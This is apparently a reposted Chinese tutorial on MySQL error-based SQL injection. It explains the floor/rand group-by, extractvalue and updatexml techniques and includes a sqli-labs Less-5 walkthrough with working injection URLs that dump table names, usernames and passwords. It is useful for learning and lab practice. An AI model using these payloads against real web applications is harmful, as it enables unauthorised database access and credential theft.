当前位置: 首页 > news >正文

华为网站推广策略/东莞优化排名公司

华为网站推广策略,东莞优化排名公司,网站建设代码介绍,网站开发的相关网站sql报错注入 文章目录sql报错注入floor报错注入rand()floor()count()extractvalue报错注入sqli-labs less-5updatexml报错注入特点:页面没有回显点,对正确的sql命令摆出一副正确的姿态,对错误的命令会报告 具体错误此时可以在报告的错误中组合上我们需要的信息实现sql注入 flo…

sql报错注入

文章目录

  • sql报错注入
    • floor报错注入
      • rand()
      • floor()
      • count()
    • extractvalue报错注入
      • sqli-labs less-5
    • updatexml报错注入

特点:页面没有回显点,对正确的sql命令摆出一副正确的姿态,对错误的命令会报告 具体错误

error_bases

此时可以在报告的错误中组合上我们需要的信息实现sql注入

floor报错注入

适用于mysql 5.x.x版本,在8.x.x上实验无效

假设现有一张user表,后面的实验围绕该表展开

mysql> select * from user;
+----+-------+-------+
| id | name  | pass  |
+----+-------+-------+
|  1 | admin | admin |
|  2 | admin | admin |
|  3 | admin | admin |
|  4 | test  | test  |
|  5 | test  | test  |
|  6 | test  | test  |
|  7 | guest | guest |
+----+-------+-------+
7 rows in set (0.01 sec)mysql> show create table user;
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Table | Create Table                                                                                                                                                                                                                                                                   |
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| user  | CREATE TABLE `user` (`id` int(11) NOT NULL AUTO_INCREMENT,`name` varchar(12) COLLATE utf8_unicode_ci NOT NULL,`pass` varchar(12) COLLATE utf8_unicode_ci NOT NULL,PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci |
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

rand()

生成[0,1)[0,1)[0,1)之间的随机数,可以指定参数作为种子

可以通过线性运算扩大值域,比如2∗rand()2*rand()2rand()就生成了[0,2)[0,2)[0,2)上的随机数

floor()

对小数向下取整,如果参数为rand(0)∗2rand(0)*2rand(0)2则结果有周期性

mysql> select floor(rand(0)*2) from user;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+

count()

统计行数用,通常使用count(∗)count(*)count(),其他参数不用管

搭配group by使用:

mysql> select name,count(*) from user group by name;#意味按照 姓名,记录数量 格式查询,统计姓名重复次数
+-------+----------+
| name  | count(*) |
+-------+----------+
| admin |        3 |
| guest |        1 |
| test  |        3 |
+-------+----------+
3 rows in set (0.00 sec)

其中group by后面可以写常量,也可以写变量,还可以写函数,比如:

mysql> select count(*),floor(rand(0)*2)as a from user group by a;

我们预期的查询结果应该是一个两列的表,第一列为count(*),为floor函数返回值的重复次数,然后第二列就是floor函数的返回值.我们希望返回的是,1重复多少次,0重复多少次.

mysql> select floor(rand(0)*2) from user;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+

该结果我们预期的查询结果应该为:

mysql> select count(*),floor(rand(0)*2)as a from user group by a;
+---------+------------------+
| count(*)| 	   a 		|
+---------+------------------+
| 	 3    |        0 		|
| 	 4    |        1 		|
+---------+------------------+

但是在MySQL 5上:

ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'

报错原因

在返回查询结果之前,MySQL会建立一个虚拟的临时表,这个临时表的插入规则如下:

首先计算一下a的值

如果虚拟表中已经存在这个值则其记录数量加一

如果虚拟表中不存在这个值则再计算一下a 的值插入,并记记录数为1

对于命令

mysql> select count(*),floor(rand(0)*2)as a from user group by a;

其执行过程是:

a=floor(rand(0)∗2)a=floor(rand(0)*2)a=floor(rand(0)2)

1.a=0,虚拟表啥也没有,重新计算a=1,向虚拟表中插入1并记录1的次数为1

2.a=1,查虚拟表已经有1了,只需要将1的记录数+1

3.a=1,查虚拟表已经有1了,只需要将1的记录数+1

4.a=0,查虚拟表没有0,重新计算a=1,向虚拟表中插入1但是已经存在1了,发生重复(Duplicate),报错

也就是说,只要是用floor(rand(0)∗2)floor(rand(0)*2)floor(rand(0)2),并且原表里面有4条以上的记录,就会发生重复插入错误

如果我们向每个a后面都附上相同的其他信息(比如数据库版本号),那么应该仍然会在相同的地方报错,报同样的错误

实验用的MySQL版本为5.7.26,我们预期的插入过程

mysql> select count(*),floor(rand(0)*2)as a from user group by a;
改写为:
mysql> select count(*),concat(version(),floor(rand(0)*2)) as a from user group by a;

a=floor(rand(0)∗2)+version()a=floor(rand(0)*2)+version()a=floor(rand(0)2)+version()

1.a=05.7.26,虚拟表啥也没有,重新计算a=15.7.26,向虚拟表中插入15.7.26并记录15.7.26的次数为1

2.a=15.7.26,查虚拟表已经有15.7.26了,只需要将15.7.26的记录数+1

3.a=15.7.26,查虚拟表已经有15.7.26了,只需要将15.7.26的记录数+1

4.a=05.7.26,查虚拟表没有0,重新计算a=15.7.26,向虚拟表中插入15.7.26但是已经存在15.7.26了,发生重复(Duplicate),报错

我们预期的报错应为:

ERROR 1062 (23000): Duplicate entry '15.7.26' for key '<group_key>'

实验结果:

mysql> select count(*),concat(version(),floor(rand(0)*2))as a from user group by a;
ERROR 1062 (23000): Duplicate entry '5.7.261' for key '<group_key>'

同理可以将version()换成其他命令套路MySQL数据库

mysql> select count(*),concat((select database()),floor(rand(0)*2))as a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry 'earth1' for key '<group_key>'

查询某数据库中某数据表的字段:

select column_name from information_schema.columns where table_schema='<dbname>' and table_name='<tbname>' ;
mysql> select column_name from information_schema.columns where table_schema='earth' and table_name='user';
+-------------+
| column_name |
+-------------+
| id          |
| name        |
| pass        |
+-------------+
3 rows in set (0.00 sec)

注意这里如果不指定数据库table_schema='earth'查询的将会是mysql自带的user表

extractvalue报错注入

MySQL函数原型:

extractvalue(XML_documnet,XPath_string);

前参数是字符串格式的XML文档名

后参数是字符串格式的XML文档路径

返回值是XML中包含所查询值的字符串

在XPath_string处可以写入错误的路径格式,比如以0开头的路径,来达到报错的目的.

无论路径对错,参数上如果有其他命令则都会执行,比如:

mysql> select * from user where id=1 and (extractvalue('',concat('0',(select group_concat(column_name) from information_schema.columns where table_schema='earth' and table_name='user'))));
ERROR 1105 (HY000): XPATH syntax error: 'id,name,pass'
mysql> select * from user where id=1 and (extractvalue('',concat('0',(select group_concat(name) from user))));
ERROR 1105 (HY000): XPATH syntax error: 'admin,admin,admin,test,test,test'

但是为什么报错信息没有全部打印user表里的用户名?

mysql> select * from user;
+----+-------+-------+
| id | name  | pass  |
+----+-------+-------+
|  1 | admin | admin |
|  2 | admin | admin |
|  3 | admin | admin |
|  4 | test  | test  |
|  5 | test  | test  |
|  6 | test  | test  |
|  7 | guest | guest |
+----+-------+-------+
7 rows in set (0.00 sec)

最后一条guest没有显示

原因是extractvalue报错信息有32个字的长度限制,可以使用substr函数逐次观察

sqli-labs less-5

1.查数据库名

?id=1' and (extractvalue('',concat('0',(select database() ))))%23
XPATH syntax error: 'security'

2.查当前数据库表名

id=1' and (extractvalue('',concat('0',(select group_concat(table_name) from information_schema.tables where table_schema=database() ))))%23
XPATH syntax error: 'emails,referers,uagents,users'

3.查users表字段

?id=1' and (extractvalue('',concat('0',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'  ))))%23
XPATH syntax error: 'id,username,password'

4.查users表所有用户的用户名

?id=1' and (extractvalue('',concat('0',substr((select group_concat(username) from users ),1) )))%23
XPATH syntax error: 'Dumb,Angelina,Dummy,secure,stupi'?id=1' and (extractvalue('',concat('0',substr((select group_concat(username) from users ),33) )))%23
XPATH syntax error: 'd,superman,batman,admin,admin1,a'?id=1' and (extractvalue('',concat('0',substr((select group_concat(username) from users ),65) )))%23
XPATH syntax error: 'dmin2,admin3,dhakkan,admin4,flag'

5.查users表所有用户的密码

?id=1' and (extractvalue('',concat('0',substr((select group_concat(password) from users ),1) )))%23
XPATH syntax error: 'Dumb,I-kill-you,p@ssword,crappy,'?id=1' and (extractvalue('',concat('0',substr((select group_concat(password) from users ),33) )))%23XPATH syntax error: 'stupidity,genious,mob!le,admin,a'?id=1' and (extractvalue('',concat('0',substr((select group_concat(password) from users ),65) )))%23
XPATH syntax error: 'dmin1,admin2,admin3,dumbo,admin4'?id=1' and (extractvalue('',concat('0',substr((select group_concat(password) from users ),97) )))%23
XPATH syntax error: ',flag{youarecool}'

updatexml报错注入

MySQL函数原型:

updatexml(xml_document,xpath_string,new_value);

三个参数都是字符串类型的,

第一个参数为xml文件名

第二个参数为xml文件目录

第三个参数为将文档住符合条件的节点值改为new_value

在注入时,只有第二个参数有利用价值,一和三参数用空字符串忽悠一下就好

mysql> select * from user where id=1 and (updatexml('',concat('0',(select group_concat(name) from user)),''));
ERROR 1105 (HY000): XPATH syntax error: 'admin,admin,admin,test,test,test'
http://www.jmfq.cn/news/4935313.html

相关文章:

  • 扁平化网站布局/南宁seo规则
  • 临淄网站制作首选专家/seo是干嘛的
  • wordpress上传突然提示需要ftp/app排名优化公司
  • 网站开发与运营/最近一周新闻大事摘抄
  • 海安网站设计公司/免费个人主页网站
  • 个人如何做短视频网站/网站维护一年一般多少钱?
  • 站长网站建设/网站设计公司哪家专业
  • 企业做营销型网站/网站优化推广方案
  • 建筑企业招聘信息/seo技术是什么意思
  • 网站开发 源码/google搜索免费入口
  • 如何建立网站视频/怎么建自己的网站?
  • 做美图网站有哪些东西吗/关键词出价计算公式
  • 带网站的图片素材/论文收录网站有哪些
  • 开源cms管理系统/百度seo工作室
  • 网站设计开题报告范文/芭嘞seo
  • 为网站做一则广告语/网红推广团队去哪里找
  • 网站建设的公司这个/seo服务方案
  • wordpress文章对齐方式/搜索引擎优化推广
  • 网站如何做标题优化/国外网站加速
  • 怎么选择营销型网站建设公司/电商平台推广怎么做
  • 织梦怎么做中英文网站/网站整站优化公司
  • wordpress分享微信朋友圈/搜索引擎优化文献
  • 政府网站开发/搜索优化引擎
  • 百度推广区域代理/我赢网seo优化网站
  • 手机做车载mp3下载网站/河南郑州网站推广优化外包
  • 东莞病毒/新手如何学seo
  • 美妆网站源码asp/成品视频直播软件推荐哪个好一点
  • 政府网站建设管理工作落实情况/郑州网站seo外包公司
  • 调取接口做网站/seo属于什么职位类型
  • 做动漫主题的网站/网站seo排名免费咨询